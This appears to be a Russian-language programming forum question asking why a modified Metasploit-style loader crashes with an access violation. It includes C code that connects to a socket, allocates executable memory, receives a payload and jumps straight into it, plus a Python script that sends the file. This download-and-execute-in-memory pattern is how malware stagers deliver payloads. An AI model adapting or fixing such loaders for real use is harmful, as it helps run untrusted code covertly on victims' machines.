Загрузка исполняемого файла exe из буфера в C
Я хотел получить exe file
из socket
и запустить его прямо из буфера в C . Я нашел это немного loader
в github
который был написан для загрузки meterpreter
:
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
Насколько я знаю, это работает так:
он получает размер exe-файла и выделяет буфер размером + 5.
затем он загружает файл с помощью сокета и сохраняет его в буфере.
и преобразует буфер в указатель на функцию и просто вызывает функцию.
Вот что делает из высокой абстракции. Хотя я точно не знаю, что buffer[0] = 0xBF;
на самом деле
Я пытался изменить код, чтобы запустить мой exe
такой файл (остальные функции точно такие же, как в исходном коде):
//receive the agent data
int recv_all(SOCKET my_socket, void* buffer, int len) {
int tret = 0;
int nret = 0;
char* startb = (char *) buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
startb += nret;
tret += nret;
}
return tret; // length of received Data
}
int main(int argc, char *argv[]){
char host[] = "localhost";
int port = 4444;
int count;
ULONG32 size = 624128; //size of my file hard coded
char *buffer;
void (* function)();
SOCKET my_socket;
winsock_init();
my_socket = wsconnect(host, port);
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL){
punt(my_socket, "could not allocate buffer");
}
buffer[0] = 0xBF;
memcpy(buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;
}
Как видите, я просто жестко запрограммировал размер моего файла в байтах.
Вот как я отправляю файл:
f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
c.send(l)
l = f.read(1024)
f.close()
Но после запуска кода C я получаю "Нарушение прав доступа":
Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.
Буду признателен за любую помощь в том, почему это происходит и что я делаю неправильно.